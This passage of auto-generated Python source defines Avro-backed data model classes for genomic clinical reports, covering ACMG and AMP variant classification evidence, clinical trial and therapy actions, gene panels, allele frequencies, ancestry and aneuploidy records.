pathogenic_variant = "pathogenic_variant"
likely_pathogenic_variant = "likely_pathogenic_variant"
variant_of_unknown_clinical_significance = "variant_of_unknown_clinical_significance"
likely_benign_variant = "likely_benign_variant"
benign_variant = "benign_variant"
not_assessed = "not_assessed"
def __hash__(self):
return str(self).__hash__()
class AcmgEvidence(ProtocolElement):
"""
AcmgEvidence. This should be buit for each one of the evidences
assing to a variants following the ACMG guidelines. An
AcmgEvidence, should map with one of the criteria defined, i.e,
PVS1, BA1, PM1...
"""
_schemaSource = """
{"type": "record", "name": "AcmgEvidence", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "",
"symbols": ["population_data", "computational_and_predictive_data", "functional_data",
"segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""},
{"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols":
["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name":
"AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong",
"very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description",
"type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"category",
"description",
"modifier",
"type",
"weight",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'category', 'description', 'modifier', 'type', 'weight'
]
def __init__(self, **kwargs):
self.category = kwargs.get(
'category', None)
self.description = kwargs.get(
'description', None)
self.modifier = kwargs.get(
'modifier', None)
self.type = kwargs.get(
'type', None)
self.weight = kwargs.get(
'weight', None)
class AcmgEvidenceCategory(object):
"""
Each ACMG criterion is classified in one of these categories
"""
population_data = "population_data"
computational_and_predictive_data = "computational_and_predictive_data"
functional_data = "functional_data"
segregation_data = "segregation_data"
de_novo_data = "de_novo_data"
allelic_data = "allelic_data"
other_database = "other_database"
other_data = "other_data"
def __hash__(self):
return str(self).__hash__()
class AcmgEvidenceType(object):
"""
Each ACMG cirterion will be classifed as bening or pathogenic
"""
bening = "bening"
pathogenic = "pathogenic"
def __hash__(self):
return str(self).__hash__()
class AcmgEvidenceWeight(object):
"""
Each ACMG criterion is weighted using the following terms: *
`stand_alone`: `A`, stand-alone applied for benign variant
critieria `(BA1)` * `supporting`: `P`, supporting applied for
benign variant critieria `(BP1-6)` and pathogenic variant criteria
`(PP1-5)` * `moderate`: `M`, moderate applied for pathogenic
variant critieria (PM1-6) * `strong`: `S`, strong applied for
pathogenic variant critieria (PS1-4) * `very_strong`: `S`, Very
Stong applied for pathogenic variant critieria (PVS1)
"""
stand_alone = "stand_alone"
supporting = "supporting"
moderate = "moderate"
strong = "strong"
very_strong = "very_strong"
def __hash__(self):
return str(self).__hash__()
class AcmgVariantClassification(ProtocolElement):
"""
Full record for the ACMG variant clasiffication, including all
selectedd evidences and the final classification.
"""
_schemaSource = """
{"type": "record", "name": "AcmgVariantClassification", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type":
"record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type":
"enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": {"type": "enum", "name": "ClinicalSignificance",
"symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic",
"uncertain_significance"]}}, {"name": "assessment", "type": ["null", "string"]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"acmgEvidences",
"assessment",
"clinicalSignificance",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'acmgEvidences': AcmgEvidence,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'acmgEvidences': AcmgEvidence,
}
return embeddedTypes[fieldName]
__slots__ = [
'acmgEvidences', 'assessment', 'clinicalSignificance'
]
def __init__(self, **kwargs):
self.acmgEvidences = kwargs.get(
'acmgEvidences', None)
self.assessment = kwargs.get(
'assessment', None)
self.clinicalSignificance = kwargs.get(
'clinicalSignificance', None)
class Actionability(object):
"""
No documentation
"""
yes = "yes"
no = "no"
not_yet = "not_yet"
na = "na"
def __hash__(self):
return str(self).__hash__()
class Actions(ProtocolElement):
"""
Clinical actions
"""
_schemaSource = """
{"type": "record", "name": "Actions", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier",
"type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name":
"estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null",
"string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase",
"doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3",
"phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name":
"interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols":
["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"prognosis",
"therapies",
"trials",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'prognosis': Prognosis,
'therapies': Therapy,
'trials': Trial,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'prognosis': Prognosis,
'therapies': Therapy,
'trials': Trial,
}
return embeddedTypes[fieldName]
__slots__ = [
'prognosis', 'therapies', 'trials'
]
def __init__(self, **kwargs):
self.prognosis = kwargs.get(
'prognosis', None)
self.therapies = kwargs.get(
'therapies', None)
self.trials = kwargs.get(
'trials', None)
class AdditionalAnalysisPanel(ProtocolElement):
"""
A panel of genes and the specific disease that it assesses
"""
_schemaSource = """
{"type": "record", "name": "AdditionalAnalysisPanel", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "specificDisease", "type": "string"}, {"name": "panel", "type":
{"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type":
["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""},
{"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null",
"string"], "doc": ""}]}}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"panel",
"specificDisease",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'panel': GenePanel,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'panel': GenePanel,
}
return embeddedTypes[fieldName]
__slots__ = [
'panel', 'specificDisease'
]
def __init__(self, **kwargs):
self.panel = kwargs.get(
'panel', GenePanel())
self.specificDisease = kwargs.get(
'specificDisease', None)
class AdditionalVariantsQuestions(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "AdditionalVariantsQuestions", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates",
"doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position",
"type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate",
"type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly",
"doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name":
"variantActionability", "type": {"type": "array", "items": {"type": "enum", "name":
"CancerActionability", "doc": "", "symbols": ["germline_susceptibility",
"predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial",
"other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name":
"variantUsability", "type": {"type": "enum", "name": "CancerUsabilitySomatic", "doc": "", "symbols":
["already_actioned", "actioned_result_of_this_wga", "not_yet_actioned"]}, "doc": ""}, {"name":
"variantTested", "type": {"type": "enum", "name": "CancerTestedAdditional", "doc": "", "symbols":
["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga",
"technical_validation_following_wga", "na"]}, "doc": ""}, {"name": "validationAssayType", "type":
"string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"otherVariantActionability",
"validationAssayType",
"variantActionability",
"variantCoordinates",
"variantTested",
"variantUsability",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'otherVariantActionability', 'validationAssayType',
'variantActionability', 'variantCoordinates', 'variantTested',
'variantUsability'
]
def __init__(self, **kwargs):
self.otherVariantActionability = kwargs.get(
'otherVariantActionability', None)
self.validationAssayType = kwargs.get(
'validationAssayType', None)
self.variantActionability = kwargs.get(
'variantActionability', None)
self.variantCoordinates = kwargs.get(
'variantCoordinates', VariantCoordinates())
self.variantTested = kwargs.get(
'variantTested', None)
self.variantUsability = kwargs.get(
'variantUsability', None)
class AdoptedStatus(object):
"""
adoptedin means adopted into the family adoptedout means child
belonged to the family and was adopted out
"""
notadopted = "notadopted"
adoptedin = "adoptedin"
adoptedout = "adoptedout"
def __hash__(self):
return str(self).__hash__()
class AffectionStatus(object):
"""
Affection Status
"""
UNAFFECTED = "UNAFFECTED"
AFFECTED = "AFFECTED"
UNCERTAIN = "UNCERTAIN"
def __hash__(self):
return str(self).__hash__()
class AgeOfOnset(object):
"""
No documentation
"""
EMBRYONAL_ONSET = "EMBRYONAL_ONSET"
FETAL_ONSET = "FETAL_ONSET"
NEONATAL_ONSET = "NEONATAL_ONSET"
INFANTILE_ONSET = "INFANTILE_ONSET"
CHILDHOOD_ONSET = "CHILDHOOD_ONSET"
JUVENILE_ONSET = "JUVENILE_ONSET"
YOUNG_ADULT_ONSET = "YOUNG_ADULT_ONSET"
LATE_ONSET = "LATE_ONSET"
MIDDLE_AGE_ONSET = "MIDDLE_AGE_ONSET"
def __hash__(self):
return str(self).__hash__()
class AgeRange(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "AgeRange", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"maximumAge",
"minimumAge",
"timeunit",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'maximumAge', 'minimumAge', 'timeunit'
]
def __init__(self, **kwargs):
self.maximumAge = kwargs.get(
'maximumAge', None)
self.minimumAge = kwargs.get(
'minimumAge', None)
self.timeunit = kwargs.get(
'timeunit', None)
class AlgorithmBasedVariantClassification(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "AlgorithmBasedVariantClassification", "namespace":
"org.gel.models.report.avro", "fields": [{"name": "algorithmName", "type": "string", "doc": ""},
{"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"],
"doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"algorithmName",
"classification",
"rank",
"score",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'algorithmName', 'classification', 'rank', 'score'
]
def __init__(self, **kwargs):
self.algorithmName = kwargs.get(
'algorithmName', None)
self.classification = kwargs.get(
'classification', None)
self.rank = kwargs.get(
'rank', None)
self.score = kwargs.get(
'score', None)
class AlleleFrequency(ProtocolElement):
"""
The population allele frequency of a given variant in a given
study and optionally population
"""
_schemaSource = """
{"type": "record", "name": "AlleleFrequency", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string",
"doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"alternateFrequency",
"population",
"study",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'alternateFrequency', 'population', 'study'
]
def __init__(self, **kwargs):
self.alternateFrequency = kwargs.get(
'alternateFrequency', None)
self.population = kwargs.get(
'population', None)
self.study = kwargs.get(
'study', None)
class AlleleOrigin(object):
"""
Allele origin. * `SO_0001781`: de novo variant.
http://purl.obolibrary.org/obo/SO_0001781 * `SO_0001778`: germline
variant. http://purl.obolibrary.org/obo/SO_0001778 * `SO_0001775`:
maternal variant. http://purl.obolibrary.org/obo/SO_0001775 *
`SO_0001776`: paternal variant.
http://purl.obolibrary.org/obo/SO_0001776 * `SO_0001779`: pedigree
specific variant. http://purl.obolibrary.org/obo/SO_0001779 *
`SO_0001780`: population specific variant.
http://purl.obolibrary.org/obo/SO_0001780 * `SO_0001777`: somatic
variant. http://purl.obolibrary.org/obo/SO_0001777
"""
de_novo_variant = "de_novo_variant"
germline_variant = "germline_variant"
maternal_variant = "maternal_variant"
paternal_variant = "paternal_variant"
pedigree_specific_variant = "pedigree_specific_variant"
population_specific_variant = "population_specific_variant"
somatic_variant = "somatic_variant"
def __hash__(self):
return str(self).__hash__()
class AmpClincialOrExperimentalEvidence(ProtocolElement):
"""
Amp Clinical or Experimental Evidence, the level will define the
overal clasification of the variant together with the tiering.
"""
_schemaSource = """
{"type": "record", "name": "AmpClincialOrExperimentalEvidence", "namespace":
"org.gel.models.report.avro", "doc": "", "fields": [{"name": "category", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic",
"diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC",
"levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"category",
"description",
"level",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'category', 'description', 'level'
]
def __init__(self, **kwargs):
self.category = kwargs.get(
'category', None)
self.description = kwargs.get(
'description', None)
self.level = kwargs.get(
'level', None)
class AmpClinicalOrExperimentalEvidenceCategory(object):
"""
Categories of Clinical and/or Experimental Evidence as defined in
AMP guidelines
"""
therapeutic = "therapeutic"
diagnosis = "diagnosis"
prognosis = "prognosis"
def __hash__(self):
return str(self).__hash__()
class AmpClinicalOrExperimentalEvidenceLevel(object):
"""
Levels for categories of Clinical and/or Experimental Evidence as
defined in AMP guidelines
"""
levelA = "levelA"
levelB = "levelB"
levelC = "levelC"
levelD = "levelD"
def __hash__(self):
return str(self).__hash__()
class AmpEvidence(ProtocolElement):
"""
Evidences as defined in AMP guidelines, they are composed by a
evidence type (first column in the evidence table of the
guidlines) and a assessment of the evicence, this last one will
define the streght of the evidence, supporting the variant to
be classified as TierI-IV
"""
_schemaSource = """
{"type": "record", "name": "AmpEvidence", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "",
"symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline",
"population_database_presence", "germline_database_presence", "somatic_database_presence",
"impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name":
"evidenceAssessment", "type": "string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"evidenceAssessment",
"type",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'evidenceAssessment', 'type'
]
def __init__(self, **kwargs):
self.evidenceAssessment = kwargs.get(
'evidenceAssessment', None)
self.type = kwargs.get(
'type', None)
class AmpEvidenceType(object):
"""
Type of evidence in tge AMP guideline
"""
mutation_type = "mutation_type"
therapies = "therapies"
variant_frequencies = "variant_frequencies"
potential_germline = "potential_germline"
population_database_presence = "population_database_presence"
germline_database_presence = "germline_database_presence"
somatic_database_presence = "somatic_database_presence"
impact_predictive_software = "impact_predictive_software"
pathway_involvement = "pathway_involvement"
publications = "publications"
def __hash__(self):
return str(self).__hash__()
class AmpTier(object):
"""
AMP tier: * `TierI`: Variants of Strong Clinical Significance *
`TierII`: Variants of Potential Clinical Significance * `TierIII`:
Variants of Unknown Clinical Significance * `TierIV`: Benign or
Likely Benign Variants
"""
tierI = "tierI"
tierII = "tierII"
tierIII = "tierIII"
tierIV = "tierIV"
def __hash__(self):
return str(self).__hash__()
class AmpVariantClassification(ProtocolElement):
"""
Full Variant classification acording to AMP guideline, including
all supporting evidences and the final assessment
"""
_schemaSource = """
{"type": "record", "name": "AmpVariantClassification", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record",
"name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name":
"AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies",
"potential_germline", "population_database_presence", "germline_database_presence",
"somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]},
"doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name":
"ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII",
"tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc":
"", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis",
"prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name":
"AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC",
"levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc":
""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ampClincialOrExperimentalEvidence",
"ampEvidences",
"ampTier",
"assessment",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'ampClincialOrExperimentalEvidence': AmpClincialOrExperimentalEvidence,
'ampEvidences': AmpEvidence,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'ampClincialOrExperimentalEvidence': AmpClincialOrExperimentalEvidence,
'ampEvidences': AmpEvidence,
}
return embeddedTypes[fieldName]
__slots__ = [
'ampClincialOrExperimentalEvidence', 'ampEvidences',
'ampTier', 'assessment'
]
def __init__(self, **kwargs):
self.ampClincialOrExperimentalEvidence = kwargs.get(
'ampClincialOrExperimentalEvidence', None)
self.ampEvidences = kwargs.get(
'ampEvidences', None)
self.ampTier = kwargs.get(
'ampTier', None)
self.assessment = kwargs.get(
'assessment', None)
class AnalysisPanel(ProtocolElement):
"""
An analysis panel
"""
_schemaSource = """
{"type": "record", "name": "AnalysisPanel", "namespace": "org.gel.models.participant.avro", "doc":
"", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName",
"type": "string", "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""},
{"name": "reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type":
"string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"multipleGeneticOrigins",
"panelName",
"panelVersion",
"reviewOutcome",
"specificDisease",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'multipleGeneticOrigins', 'panelName', 'panelVersion',
'reviewOutcome', 'specificDisease'
]
def __init__(self, **kwargs):
self.multipleGeneticOrigins = kwargs.get(
'multipleGeneticOrigins', None)
self.panelName = kwargs.get(
'panelName', None)
self.panelVersion = kwargs.get(
'panelVersion', None)
self.reviewOutcome = kwargs.get(
'reviewOutcome', None)
self.specificDisease = kwargs.get(
'specificDisease', None)
class Ancestries(ProtocolElement):
"""
Ancestries, defined as Ethnic category(ies) and Chi-square test
"""
_schemaSource = """
{"type": "record", "name": "Ancestries", "namespace": "org.gel.models.participant.avro", "doc": "",
"fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name":
"EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J",
"K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null",
"string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc":
""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}],
"doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"chiSquare1KGenomesPhase3Pop",
"fathersEthnicOrigin",
"fathersOtherRelevantAncestry",
"mothersEthnicOrigin",
"mothersOtherRelevantAncestry",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'chiSquare1KGenomesPhase3Pop': ChiSquare1KGenomesPhase3Pop,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'chiSquare1KGenomesPhase3Pop': ChiSquare1KGenomesPhase3Pop,
}
return embeddedTypes[fieldName]
__slots__ = [
'chiSquare1KGenomesPhase3Pop', 'fathersEthnicOrigin',
'fathersOtherRelevantAncestry', 'mothersEthnicOrigin',
'mothersOtherRelevantAncestry'
]
def __init__(self, **kwargs):
self.chiSquare1KGenomesPhase3Pop = kwargs.get(
'chiSquare1KGenomesPhase3Pop', None)
self.fathersEthnicOrigin = kwargs.get(
'fathersEthnicOrigin', None)
self.fathersOtherRelevantAncestry = kwargs.get(
'fathersOtherRelevantAncestry', None)
self.mothersEthnicOrigin = kwargs.get(
'mothersEthnicOrigin', None)
self.mothersOtherRelevantAncestry = kwargs.get(
'mothersOtherRelevantAncestry', None)
class Aneuploidy(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Aneuploidy", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": {"type":
"enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name":
"chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""},
{"name": "coordinates", "type": ["null", {"type": "record", "name": "Coordinates", "fields":
[{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name":
"start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null",
{"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"},
{"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}],
"doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"assembly",
"chromosome",
"complete",
"coordinates",
"iscn",
"numberOfCopies",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'assembly', 'chromosome', 'complete', 'coordinates', 'iscn',
'numberOfCopies'
]
def __init__(self, **kwargs):
self.assembly = kwargs.get(
'assembly', None)
self.chromosome = kwargs.get(
'chromosome', None)
self.complete = kwargs.get(
'complete', None)
self.coordinates = kwargs.get(
'coordinates', None)
